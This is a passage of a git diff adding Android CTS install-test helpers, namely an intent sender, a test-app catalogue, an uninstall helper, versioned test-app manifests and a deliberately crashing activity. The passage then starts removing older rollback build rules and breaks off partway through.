+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.content.pm.PackageInstaller;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+
+/**
+ * Helper for making IntentSenders whose results are sent back to the test
+ * app.
+ */
+public class LocalIntentSender extends BroadcastReceiver {
+    private static final String TAG = "cts.install.lib";
+
+    private static final BlockingQueue<Intent> sIntentSenderResults = new LinkedBlockingQueue<>();
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.i(TAG, "Received intent " + prettyPrint(intent));
+        sIntentSenderResults.add(intent);
+    }
+
+    /**
+     * Get a LocalIntentSender.
+     */
+    public static IntentSender getIntentSender() {
+        Context context = InstrumentationRegistry.getContext();
+        Intent intent = new Intent(context, LocalIntentSender.class);
+        PendingIntent pending = PendingIntent.getBroadcast(context, 0, intent, 0);
+        return pending.getIntentSender();
+    }
+
+    /**
+     * Returns the most recent Intent sent by a LocalIntentSender.
+     */
+    public static Intent getIntentSenderResult() throws InterruptedException {
+        Intent intent = sIntentSenderResults.take();
+        Log.i(TAG, "Taking intent " + prettyPrint(intent));
+        return intent;
+    }
+
+    private static String prettyPrint(Intent intent) {
+        int sessionId = intent.getIntExtra(PackageInstaller.EXTRA_SESSION_ID, -1);
+        int status = intent.getIntExtra(PackageInstaller.EXTRA_STATUS,
+                PackageInstaller.STATUS_FAILURE);
+        String message = intent.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
+        return String.format("%s: {\n"
+                + "sessionId = %d\n"
+                + "status = %d\n"
+                + "message = %s\n"
+                + "}", intent, sessionId, status, message);
+    }
+}
diff --git a/libs/install/src/com/android/cts/install/lib/TestApp.java b/libs/install/src/com/android/cts/install/lib/TestApp.java
new file mode 100644
index 0000000..309b514
--- /dev/null
+++ b/libs/install/src/com/android/cts/install/lib/TestApp.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib;
+
+import android.content.pm.VersionedPackage;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.InputStream;
+import java.util.function.Function;
+
+/**
+ * Collection of dummy apps used in tests.
+ */
+public class TestApp {
+    public static final String A = "com.android.cts.install.lib.testapp.A";
+    public static final String B = "com.android.cts.install.lib.testapp.B";
+    public static final String C = "com.android.cts.install.lib.testapp.C";
+    public static final String Apex = "com.android.apex.cts.shim";
+    public static final String NotPreInstalledApex = "com.android.apex.cts.shim_not_pre_installed";
+
+    // Apk collection
+    public static final TestApp A1 = new TestApp("Av1", A, 1, /*isApex*/false,
+            "TestAppAv1.apk");
+    public static final TestApp A2 = new TestApp("Av2", A, 2, /*isApex*/false,
+            "TestAppAv2.apk");
+    public static final TestApp A3 = new TestApp("Av3", A, 3, /*isApex*/false,
+            "TestAppAv3.apk");
+    public static final TestApp ACrashing2 = new TestApp("ACrashingV2", A, 2, /*isApex*/false,
+            "TestAppACrashingV2.apk");
+    public static final TestApp ASplit1 = new TestApp("ASplitV1", A, 1, /*isApex*/false,
+            "TestAppASplitV1.apk", "TestAppASplitV1_anydpi.apk");
+    public static final TestApp ASplit2 = new TestApp("ASplitV2", A, 2, /*isApex*/false,
+            "TestAppASplitV2.apk", "TestAppASplitV2_anydpi.apk");
+
+    public static final TestApp B1 = new TestApp("Bv1", B, 1, /*isApex*/false,
+            "TestAppBv1.apk");
+    public static final TestApp B2 = new TestApp("Bv2", B, 2, /*isApex*/false,
+            "TestAppBv2.apk");
+
+    public static final TestApp C1 = new TestApp("Cv1", C, 1, /*isApex*/false,
+            "TestAppCv1.apk");
+
+    // Apex collection
+    public static final TestApp Apex1 =
+            new TestApp("Apex1", Apex, 1, /*isApex*/true,
+                    "com.android.apex.cts.shim.v1.apex");
+    public static final TestApp Apex2 =
+            new TestApp("Apex2", Apex, 2, /*isApex*/true,
+            "com.android.apex.cts.shim.v2.apex");
+    public static final TestApp ApexWrongSha2 = new TestApp(
+            "ApexWrongSha2", Apex, 2, /*isApex*/true,
+            "com.android.apex.cts.shim.v2_wrong_sha.apex");
+    public static final TestApp Apex3 =
+            new TestApp("Apex3", Apex, 3, /*isApex*/true,
+            "com.android.apex.cts.shim.v3.apex");
+    public static final TestApp ApexNotPreInstalled =
+            new TestApp("ApexNotPreInstalled", NotPreInstalledApex, 3, /*isApex*/true,
+            "com.android.apex.cts.shim_not_pre_installed.apex");
+
+    private final String mName;
+    private final String mPackageName;
+    private final long mVersionCode;
+    private final String[] mResourceNames;
+    private final boolean mIsApex;
+    private final Function<String, InputStream> mGetResourceStream;
+
+    public TestApp(String name, String packageName, long versionCode, boolean isApex,
+            String... resourceNames) {
+        mName = name;
+        mPackageName = packageName;
+        mVersionCode = versionCode;
+        mResourceNames = resourceNames;
+        mIsApex = isApex;
+        mGetResourceStream = (res) -> TestApp.class.getClassLoader().getResourceAsStream(res);
+    }
+
+    public TestApp(String name, String packageName, long versionCode, boolean isApex, File path) {
+        mName = name;
+        mPackageName = packageName;
+        mVersionCode = versionCode;
+        mResourceNames = new String[] { path.getName() };
+        mIsApex = isApex;
+        mGetResourceStream = (res) -> {
+            try {
+                return new FileInputStream(path);
+            } catch (FileNotFoundException e) {
+                return null;
+            }
+        };
+    }
+
+    public String getPackageName() {
+        return mPackageName;
+    }
+
+    public long getVersionCode() {
+        return mVersionCode;
+    }
+
+    public VersionedPackage getVersionedPackage() {
+        return new VersionedPackage(mPackageName, mVersionCode);
+    }
+
+    @Override
+    public String toString() {
+        return mName;
+    }
+
+    boolean isApex() {
+        return mIsApex;
+    }
+
+    public String[] getResourceNames() {
+        return mResourceNames;
+    }
+
+    /**
+     * Returns an InputStream for the resource name.
+     */
+    public InputStream getResourceStream(String name) {
+        return mGetResourceStream.apply(name);
+    }
+}
diff --git a/libs/install/src/com/android/cts/install/lib/Uninstall.java b/libs/install/src/com/android/cts/install/lib/Uninstall.java
new file mode 100644
index 0000000..0444130
--- /dev/null
+++ b/libs/install/src/com/android/cts/install/lib/Uninstall.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib;
+
+import android.content.Context;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
+
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * Helper class for uninstalling test apps.
+ */
+public class Uninstall {
+    /**
+     * Uninstalls all of the given packages.
+     * Does nothing if the package is not installed or installed on /system
+     */
+    public static void packages(String... packageNames) throws InterruptedException {
+        for (String pkg : packageNames) {
+            uninstallSinglePackage(pkg);
+        }
+    }
+
+    private static void uninstallSinglePackage(String packageName) throws InterruptedException {
+        // No need to uninstall if the package isn't installed.
+        if (InstallUtils.getInstalledVersion(packageName) == -1
+                || InstallUtils.isSystemAppWithoutUpdate(packageName)) {
+            return;
+        }
+
+        Context context = InstrumentationRegistry.getContext();
+        PackageManager packageManager = context.getPackageManager();
+        PackageInstaller packageInstaller = packageManager.getPackageInstaller();
+        packageInstaller.uninstall(packageName, LocalIntentSender.getIntentSender());
+        InstallUtils.assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
+    }
+}
diff --git a/libs/install/testapp/ACrashingV2.xml b/libs/install/testapp/ACrashingV2.xml
new file mode 100644
index 0000000..338a5b9
--- /dev/null
+++ b/libs/install/testapp/ACrashingV2.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.install.lib.testapp.A"
+    android:versionCode="2"
+    android:versionName="2.0" >
+
+
+    <uses-sdk android:minSdkVersion="19" />
+
+    <application android:label="Test App A v2">
+        <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+                  android:exported="true" />
+        <activity android:name="com.android.cts.install.lib.testapp.CrashingMainActivity">
+            <intent-filter>
+              <action android:name="android.intent.action.MAIN" />
+              <category android:name="android.intent.category.DEFAULT"/>
+              <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/libs/install/testapp/Av1.xml b/libs/install/testapp/Av1.xml
new file mode 100644
index 0000000..e9714fc
--- /dev/null
+++ b/libs/install/testapp/Av1.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.install.lib.testapp.A"
+    android:versionCode="1"
+    android:versionName="1.0" >
+
+
+    <uses-sdk android:minSdkVersion="19" />
+
+    <application android:label="Test App A1">
+        <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+                  android:exported="true" />
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/libs/install/testapp/Av2.xml b/libs/install/testapp/Av2.xml
new file mode 100644
index 0000000..fd8afa0
--- /dev/null
+++ b/libs/install/testapp/Av2.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.install.lib.testapp.A"
+    android:versionCode="2"
+    android:versionName="2.0" >
+
+
+    <uses-sdk android:minSdkVersion="19" />
+
+    <application android:label="Test App A2">
+        <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+            android:exported="true" />
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/libs/install/testapp/Av3.xml b/libs/install/testapp/Av3.xml
new file mode 100644
index 0000000..a7839e3
--- /dev/null
+++ b/libs/install/testapp/Av3.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.install.lib.testapp.A"
+    android:versionCode="3"
+    android:versionName="3.0" >
+
+
+    <uses-sdk android:minSdkVersion="19" />
+
+    <application android:label="Test App A3">
+        <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+            android:exported="true" />
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/libs/install/testapp/Bv1.xml b/libs/install/testapp/Bv1.xml
new file mode 100644
index 0000000..403e7e2
--- /dev/null
+++ b/libs/install/testapp/Bv1.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.install.lib.testapp.B"
+    android:versionCode="1"
+    android:versionName="1.0" >
+
+
+    <uses-sdk android:minSdkVersion="19" />
+
+    <application android:label="Test App B1">
+        <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+            android:exported="true" />
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/libs/install/testapp/Bv2.xml b/libs/install/testapp/Bv2.xml
new file mode 100644
index 0000000..f030c3f
--- /dev/null
+++ b/libs/install/testapp/Bv2.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.install.lib.testapp.B"
+    android:versionCode="2"
+    android:versionName="2.0" >
+
+
+    <uses-sdk android:minSdkVersion="19" />
+
+    <application android:label="Test App B2">
+        <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+            android:exported="true" />
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/libs/install/testapp/Cv1.xml b/libs/install/testapp/Cv1.xml
new file mode 100644
index 0000000..edb69f9
--- /dev/null
+++ b/libs/install/testapp/Cv1.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.install.lib.testapp.C"
+    android:versionCode="1"
+    android:versionName="1.0" >
+
+
+    <uses-sdk android:minSdkVersion="19" />
+
+    <application android:label="Test App C1">
+        <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+            android:exported="true" />
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/libs/install/testapp/res_v1/values-anydpi/values.xml b/libs/install/testapp/res_v1/values-anydpi/values.xml
new file mode 100644
index 0000000..90d3da2
--- /dev/null
+++ b/libs/install/testapp/res_v1/values-anydpi/values.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <integer name="split_version">1</integer>
+</resources>
diff --git a/libs/install/testapp/res_v1/values/values.xml b/libs/install/testapp/res_v1/values/values.xml
new file mode 100644
index 0000000..0447c74
--- /dev/null
+++ b/libs/install/testapp/res_v1/values/values.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <integer name="app_version">1</integer>
+    <integer name="split_version">0</integer>
+</resources>
diff --git a/libs/install/testapp/res_v2/values-anydpi/values.xml b/libs/install/testapp/res_v2/values-anydpi/values.xml
new file mode 100644
index 0000000..9a1aa7f
--- /dev/null
+++ b/libs/install/testapp/res_v2/values-anydpi/values.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <integer name="split_version">2</integer>
+</resources>
diff --git a/libs/install/testapp/res_v2/values/values.xml b/libs/install/testapp/res_v2/values/values.xml
new file mode 100644
index 0000000..fd988f5
--- /dev/null
+++ b/libs/install/testapp/res_v2/values/values.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <integer name="app_version">2</integer>
+    <integer name="split_version">0</integer>
+</resources>
diff --git a/libs/install/testapp/res_v3/values-anydpi/values.xml b/libs/install/testapp/res_v3/values-anydpi/values.xml
new file mode 100644
index 0000000..f2d8992
--- /dev/null
+++ b/libs/install/testapp/res_v3/values-anydpi/values.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <integer name="split_version">3</integer>
+</resources>
diff --git a/libs/install/testapp/res_v3/values/values.xml b/libs/install/testapp/res_v3/values/values.xml
new file mode 100644
index 0000000..968168a
--- /dev/null
+++ b/libs/install/testapp/res_v3/values/values.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <integer name="app_version">3</integer>
+    <integer name="split_version">0</integer>
+</resources>
diff --git a/libs/install/testapp/src/com/android/cts/install/lib/testapp/CrashingMainActivity.java b/libs/install/testapp/src/com/android/cts/install/lib/testapp/CrashingMainActivity.java
new file mode 100644
index 0000000..cbaccf7
--- /dev/null
+++ b/libs/install/testapp/src/com/android/cts/install/lib/testapp/CrashingMainActivity.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib.testapp;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+
+/**
+ * A crashing test app for testing apk rollback support.
+ */
+public class CrashingMainActivity extends Activity {
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        incrementCountAndBroadcast();
+        throw new RuntimeException("Intended force crash");
+    }
+
+    private void incrementCountAndBroadcast() {
+        SharedPreferences preferences = getSharedPreferences("prefs", Context.MODE_PRIVATE);
+        SharedPreferences.Editor editor = preferences.edit();
+        int count = preferences.getInt("crash_count", 0);
+        editor.putInt("crash_count", ++count).commit();
+
+        Intent intent = new Intent("com.android.tests.rollback.CRASH");
+        intent.putExtra("count", count);
+        sendBroadcast(intent);
+    }
+}
diff --git a/libs/install/testapp/src/com/android/cts/install/lib/testapp/MainActivity.java b/libs/install/testapp/src/com/android/cts/install/lib/testapp/MainActivity.java
new file mode 100644
index 0000000..ab2d90b
--- /dev/null
+++ b/libs/install/testapp/src/com/android/cts/install/lib/testapp/MainActivity.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib.testapp;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+/**
+ * A test app for testing apk rollback support.
+ */
+public class MainActivity extends Activity {
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        try {
+            new ProcessUserData().processUserData(this);
+        } catch (ProcessUserData.UserDataException e) {
+            throw new AssertionError("Failed to process app user data", e);
+        }
+    }
+}
diff --git a/libs/install/testapp/src/com/android/cts/install/lib/testapp/ProcessUserData.java b/libs/install/testapp/src/com/android/cts/install/lib/testapp/ProcessUserData.java
new file mode 100644
index 0000000..359e03f
--- /dev/null
+++ b/libs/install/testapp/src/com/android/cts/install/lib/testapp/ProcessUserData.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib.testapp;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.os.Process;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.util.Scanner;
+
+/**
+ * A broadcast receiver to check for and update user app data version
+ * and user handle compatibility.
+ */
+public class ProcessUserData extends BroadcastReceiver {
+
+    /**
+     * Exception thrown in case of issue with user data.
+     */
+    public static class UserDataException extends Exception {
+        public UserDataException(String message) {
+            super(message);
+        }
+
+        public UserDataException(String message, Throwable cause) {
+           super(message, cause);
+        }
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        try {
+            processUserData(context);
+            setResultCode(1);
+        } catch (UserDataException e) {
+            setResultCode(0);
+            setResultData(e.getMessage());
+        }
+    }
+
+    /**
+     * Update the app's user data version to match the app version, and confirm
+     * the user data is for the correct user.
+     *
+     * @param context The application context.
+     * @throws UserDataException in case of problems with app user data.
+     */
+    public void processUserData(Context context) throws UserDataException {
+        Resources res = context.getResources();
+        String packageName = context.getPackageName();
+
+        String userHandle = Process.myUserHandle().toString();
+
+        int appVersionId = res.getIdentifier("app_version", "integer", packageName);
+        int appVersion = res.getInteger(appVersionId);
+
+        int splitVersionId = res.getIdentifier("split_version", "integer", packageName);
+        int splitVersion = res.getInteger(splitVersionId);
+
+        // Make sure the app version and split versions are compatible.
+        if (appVersion != splitVersion) {
+            throw new UserDataException("Split version " + splitVersion
+                    + " does not match app version " + appVersion);
+        }
+
+        // Read the version of the app's user data and ensure it is compatible
+        // with our version of the application. Also ensure that the user data is
+        // for the correct user.
+        File versionFile = new File(context.getFilesDir(), "userdata.txt");
+        try {
+            Scanner s = new Scanner(versionFile);
+            int userDataVersion = s.nextInt();
+            s.nextLine();
+
+            if (userDataVersion > appVersion) {
+                throw new UserDataException("User data is from version " + userDataVersion
+                        + ", which is not compatible with this version " + appVersion
+                        + " of the RollbackTestApp");
+            }
+
+            String readUserHandle = s.nextLine();
+            s.close();
+
+            if (!readUserHandle.equals(userHandle)) {
+                throw new UserDataException("User handle expected to be: " + userHandle
+                        + ", but was actually " + readUserHandle);
+            }
+        } catch (FileNotFoundException e) {
+            // No problem. This is a fresh install of the app or the user data
+            // has been wiped.
+        }
+
+        // Record the current version of the app in the user data.
+        try {
+            PrintWriter pw = new PrintWriter(versionFile);
+            pw.println(appVersion);
+            pw.println(userHandle);
+            pw.close();
+        } catch (IOException e) {
+            throw new UserDataException("Unable to write user data.", e);
+        }
+    }
+}
diff --git a/libs/rollback/Android.bp b/libs/rollback/Android.bp
index b4d31e2..3e4d0a3 100644
--- a/libs/rollback/Android.bp
+++ b/libs/rollback/Android.bp
@@ -12,29 +12,9 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-android_test_helper_app {
-    name: "RollbackManagerTestAppA1",
-    manifest: "testapp/A1.xml",
-    sdk_version: "current",
-    srcs: ["testapp/src/**/*.java"],
-    resource_dirs: ["testapp/res_v1"],
-}
-
-android_test_helper_app {
-    name: "RollbackManagerTestAppA2",
-    manifest: "testapp/A2.xml",
-    sdk_version: "current",
-    srcs: ["testapp/src/**/*.java"],
